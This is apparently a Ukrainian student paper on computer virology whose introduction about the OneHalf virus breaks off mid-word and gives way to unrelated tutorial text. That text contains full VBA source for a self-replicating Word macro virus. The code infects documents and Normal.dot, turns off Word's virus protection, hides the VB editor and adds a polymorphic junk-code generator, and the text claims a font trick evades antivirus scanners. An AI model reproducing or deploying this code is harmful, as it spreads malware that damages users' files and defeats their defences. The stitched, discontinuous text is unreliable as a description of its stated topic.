Київ - 2010
МІНІСТЕРСТВО ПРАЦІ ТА СОЦІАЛЬНОЇ ПОЛІТИКИ УКРАЇНИ
ІНСТИТУТ ПІДГОТОВКИ КАДРІВ ДЕРЖАВНОЇ
СЛУЖБИ ЗАЙНЯТОСТІ УКРАЇНИ
З дисципліни «Комп’ютернавірусологія»
Варіант № 12
Студента 3 курсу, групи ПЗАС-07
Факультету соціальних комунікацій
Спеціальності програмне забезпечення
Автоматизованих систем
Лавріненко Р.М.
Перевірив:
_________________________
Київ - 2010
Вступ
Ми живемо на стику двох тисячоліть, коли людство вступило в епоху нової науково-технічної революції.
До кінця двадцятого століття люди оволоділи багатьма таємницями перетворення речовини і енергії і зуміли використовувати ці знання для поліпшення свого життя. Але окрім речовини і енергії в житті людини величезну роль грає ще одна складова - інформація. Це найрізноманітніші відомості, повідомлення, вісті, знання, уміння.
В середині нашого сторіччя з'явилися спеціальні пристрої - комп'ютери, орієнтовані на зберігання і перетворення інформації і відбулася комп'ютерна революція.
Сьогодні масове застосування персональних комп'ютерів, на жаль, виявилося пов'язаним з появою програм-вірусів, що самовідтворюються, перешкоджають нормальній роботі комп'ютера, руйнують файлову структуру дисків і що завдають збитку інформації, що зберігається в комп'ютері.
Не дивлячись на прийняті в багатьох країнах закони про боротьбу з комп'ютерними злочинами і розробку спеціальних програмних засобів захисту від вірусів, кількість нових програмних вірусів постійно росте. Це вимагає від користувача персонального комп'ютера знань про природу вірусів, способи зараження вірусами і захисту від них. Це і послужило стимулом для вибору теми моєї роботи.
Я хочу показати на основі вірусу Onehalf 3544, багато шуму в 1994-95 роках, можливі шляхи зараження, розповсюдження, що наробив, руйнівні здібності вірусів і рекомендувати способи виявлення і захисту від них.
Робота виконана на основі аналізу лістингу коди тіла вірусу, отриманого за допомогою дизасемблера Sourcer версії 7.0 і експериментального зараження, - лікування декількох комп'ютерів з різними типами жорстких дисків, і використанні різних антивірусних і прикладних програм. Особливу подяку за надання матеріалів для підготовки моєї роботи хочу виразити системному програмістові Олександру Крижановському з Ялти і моєму керівникові системотехніці Олексію Корабльову.
КЛАСИФІКАЦІЯ ВІРУСІВ.
В даний час відомо більше 35000 програмних вірусів, їх можна класифікувати по наступних ознаках:
¨ місцю існування
¨ способу зараження місця існування
¨ дії
¨ особливостям алгоритму
Залежно від місця існування віруси можна розділити на мережевих, файлових, завантажувальних, файлово-завантажувальних і макро-віруси, що розповсюджуються разом з документами і електронними таблицями. Файлові віруси упроваджуються головним чином у виконувані модулі, тобто У файли, що мають розширення COM і EXE. Завантажувальні віруси упроваджуються в завантажувальний сектор диска (Boot-сектор) або в сектор, що містить програму завантаження системного диска (Master Boot Record). Файлово-завантажувальні віруси заражають як файли, так і завантажувальні сектори дисків.
За способом зараження віруси діляться на резидентних і нерезидентних. Резидентний вірус при зараженні (інфікуванні) комп'ютера залишає в оперативній пам'яті свою резидентну частину, яка потім перехоплює звернення операційної системи до об'єктів зараження (файлам, завантажувальним секторам дисків і т. п.) і упроваджується в них. Резидентні віруси знаходяться в пам'яті і є активними аж до виключення або перезавантаження комп'ютера. Нерезидентні віруси не заражають пам'ять комп'ютера і є активними обмежений час.
По ступеню дії віруси можна розділити на наступні види:
¨ безпечні, такі, що не заважають роботі комп'ютера, але що зменшують об'єм вільної оперативної пам'яті і пам'яті на дисках, дії таких вірусів виявляються в яких-небудь графічних або звукових ефектах
¨ небезпечні віруси, які можуть привести до різних порушень в роботі комп'ютера
¨ дуже небезпечні, дія яких може привести до втрати програм, знищення даних, стирання інформації в системних областях диска.
По особливостях алгоритму віруси важко класифікувати із-за великої різноманітності. Відомі віруси-невидимки, звані стелс-вирусами, які дуже важко виявити і знешкоджувати, оскільки вони перехоплюють звернення операційної системи до уражених файлів і секторів дисків і підставляють замість свого тіла незаражені ділянки диска. Найважче виявити віруси-мутанти (поліморфні), що містять алгоритми шифровки-розшифровки, завдяки яким копії одного і того ж вірусу не мають жодного ланцюжка байтів, що повторюється.
Вірус Onehalf 3544, що розглядається мною, примітний не тільки тим, що його поява викликала великий резонанс на комп'ютерному світі, але і тим, що він одночасно об'єднує в собі безліч свойст
Тепер розберемо алгоритм простого макровірусу з переходом в стелс:
1) Якщо Normal.dot не заражений, то зберігаємо текст макросу в якому-небудь зовнішньому прихованому файлі.
2)Проверим якщо поточний документ не заражений, то заразимо його.
3)Если Normal.dot не заражений, то інфікуємо його.
Алгоритм досить простий, чи не так? Давайте тепер його реалізуємо.
Ось ісходник:
'------------------------------- Sub Document_Close() ' h0b0t Word 97/2000 macr0 virus Application.DisplayAlerts = 0 'Отключить тревогу Options.VirusProtection = False 'Отключить сообщения о вирусах
If Application.UserName <> "[h0b0t]" Then ActiveDocument.VBProject.VBComponents("ThisDocument").Export "c:\Windows\sl0n.vxd" End If 'Экспортирование файла с макросами Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule
If AD.lines(1, 1) = "" Then 'Если документ не заражён, то заразим Set t = ActiveDocument.VBProject.VBComponents.Item(1) Open "c:\Windows\sl0n.vxd" For Input As #1 If LOF(1) = 0 Then GoTo quit1 i = 1
Do While Not EOF(1) Line Input #1, a If i > 8 Then If i = 10 Then t.CodeModule.InsertLines i, "sub Document_Close()" Else: t.CodeModule.InsertLines i, a End If End If i = i + 1 Loop quit1: Close #1
End If
If Application.UserName <> "[h0b0t]" Then 'Если документ не заражён, то заразим Set t = NormalTemplate.VBProject.VBComponents.Item(1) Open "c:\Windows\sl0n.vxd" For Input As #1 If LOF(1) = 0 Then GoTo quit i = 1
Do While Not EOF(1) Line Input #1, a If i > 8 Then If i = 10 Then t.CodeModule.InsertLines i, "sub AutoClose()" Else: t.CodeModule.InsertLines i, a End If End If i = i + 1 Loop quit: Close #1 Application.UserName = "[h0b0t]" End If End Sub '-------------------------------
Даний вірус заражає документи при їх закритті, але його легко можна модифікувати для зараження при створенні нового документа. Для цього всього лише необхідно замінити Autoclose() на Autonew(). Аналогічним чином можна зробити при відкритті документа або при збереженні (Autoopen, Autosave).
Взагалі існує безліч способів інфікування документів Word, ми використовували безпосередню роботу з файлами і метод Export для створення файлу на диску з текстом макросу і копіюванням його в документи, що інфікувалися.
У макро вірусах застосовуються все ті ж вірусні технології, що і в звичайних вірусах, тобто стелс технологія, антиевристика, поліморфізм.
Почнемо наш розгляд із стелс технологій. У чому ж полягають стелс технології стосовно макро вірусам? В більшості своїй це заховання власної коди від очей користувачів. Реально на практиці це виглядає таким чином: відключаються в меню Word'a опції "Редактор VB" і відключається кнопка "Break". Після цього користувач запідозрив наявність макро вірусу якщо поліз подивитися на макроси в Word'e нічого не побачить, що нам і потрібне. Тепер практична частина до нашого вірусу досить додати наступні рядки:
'------------------------------- Private Sub Stealth() Application.ShowVisualBasicEditor = 0 'Вырубить показ Редактора VB Application.EnableCancelKey = 0 'Отключить клавишу Break End Sub '------------------------------- Sub ViewVBCode() Stealth End Sub '------------------------------- Sub ToolsMacro() Stealth End Sub '------------------------------- Sub FileTemplates() Stealth End Sub '-------------------------------
Після цього можна вважати, що ми використовували стелс технологію для перехоплення трьох макросів:
ViewVBCode(), ToolsMacro(), FileTemplates().
Так само має сенс відключення тривоги і повідомлень про віруси, навіщо лякати користувачів?
Application.DisplayAlerts = 0 'Отключить тревогу Options.VirusProtection = False 'Отключить сообщения о вирусах
Тепер перейдемо до антиевристики. Основним антиевристичним прийомом в макро вірусах є зміна шрифту, так само можна використовувати інші антиевристичні прийоми, які знаходяться досить простим способом, - методом наукового тика. І так зміна шрифту:
Selection.Font.Name = "Arial"
Після цього AVP і Dr.Web у мене перестали пізнавати навіть відомі ним віруси, які до цього успішно виявляли.
І остання технологія це як завжди поліморфізм або ж "мутаційна" технологія. Сенс поліморфної технології стосовно макро вірусам ідентичний поліморфізму для звичайних вірусів. Існує два шляхи мутациій - перший і найпоширеніший це шифрування коди макросу. А другий це розбавлення коди макросу сміттєвими командами. Так само можливе комбінування цих двох способів розглянемо конкретніше другий спосіб. Даний генератор поліморфної коди призначений для розбавлення реальних інструкцій сміттям.
Розглянемо саму функцію:
Private Function poly() As String
Dim mas(20) mas(1) = "'rghuyhewh" ' mas(2) = "'[+]-31337-[+]" ' mas(3) = "'heh-polymorf-engine-sl0n-(c)" ' Это мусорные mas(4) = "'sd,jghsdighiuehrwiur345t3bk" ' строки которыми мы mas(5) = "':for bc=1 to 987: next bc" ' будем разбавлять основной mas(6) = "'436ghdfjhdfjddfh" ' код
oncemore: a = Rnd(4) ' a = a * 10 ' Это генератор случайных чисел a = Int(a) ' В итоге данная функция возвращает If a > 6 Then GoTo oncemore ' случайную строку из масива mas poly = mas(a) '
End Function '-------------------------------
Тепер розглянемо вірус, який поєднує в собі всі три технології, тобто він використовуватиме як стелс технологію так і поліморфну технологію плюс пара антиевристичних інструкцій.
Ось ісходник:
'------------------------------- Private Function poly() As String
Dim mas(20) mas(1) = "'rghuyhewh" ' mas(2) = "'[+]-31337-[+]" ' mas(3) = "'heh-polymorf-engine-sl0n-(c)" ' Это мусорные mas(4) = "'sd,jghsdighiuehrwiur345t3bk" ' строки которыми мы mas(5) = "':for bc=1 to 987: next bc" ' будем разбавлять основной mas(6) = "'436ghdfjhdfjddfh" ' код
oncemore: a = Rnd(4) ' a = a * 10 ' Это генератор случайных чисел a = Int(a) ' В итоге данная функция возвращает If a > 6 Then GoTo oncemore ' случайную строку из масива mas poly = mas(a) '
End Function '------------------------------- Sub Document_Close() 'Application.UserName = "sl0n" ' h0b0t Word 97/2000 macr0 virus Application.DisplayAlerts = 0 'Отключить тревогу Options.VirusProtection = False 'Отключить сообщения о вирусах
fonta = Selection.Font.Name ' Selection.Font.Name = "Arial" ' Антиэвристика Selection.Font.Name = fonta '
If Application.UserName <> "[h0b0t]" Then ActiveDocument.VBProject.VBComponents("ThisDocument").Export "c:\Windows\sl0n.vxd" End If 'Экспортирование файла с макросами Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule
If AD.lines(1, 1) = "" Then 'Если документ не заражён, то заразим Set t = ActiveDocument.VBProject.VBComponents.Item(1) Open "c:\Windows\sl0n.vxd" For Input As #1 If LOF(1) = 0 Then GoTo quit1 i = 1
Do While Not EOF(1) Line Input #1, a If i > 8 Then
If i = 29 Then t.CodeModule.InsertLines i, "sub Document_Close()" Else: t.CodeModule.InsertLines i, poly + a + poly End If End If i = i + 1 Loop quit1: Close #1
End If
If Application.UserName <> "[h0b0t]" Then 'Если документ не заражён, то заразим Set t = NormalTemplate.VBProject.VBComponents.Item(1) Open "c:\Windows\sl0n.vxd" For Input As #1 If LOF(1) = 0 Then GoTo quit i = 1
Do While Not EOF(1) Line Input #1, a If i > 8 Then
If i = 29 Then t.CodeModule.InsertLines i, "sub AutoClose()" Else: t.CodeModule.InsertLines i, poly + a + poly End If End If i = i + 1 Loop quit: Close #1 Application.UserName = "[h0b0t]" MsgBox "normal.dot 0wn3d" End If End Sub '------------------------------- Private Sub Stealth() Application.ShowVisualBasicEditor = 0 'Вырубить показ Редактора VB Application.EnableCancelKey = 0 'Отключить клавишу Break End Sub '------------------------------- Sub ViewVBCode() Stealth End Sub '------------------------------- Sub ToolsMacro() Stealth End Sub '------------------------------- Sub FileTemplates() Stealth End Sub '-------------------------------
Дата добавления: 2015-09-27 | Просмотры: 294 | Нарушение авторских прав
|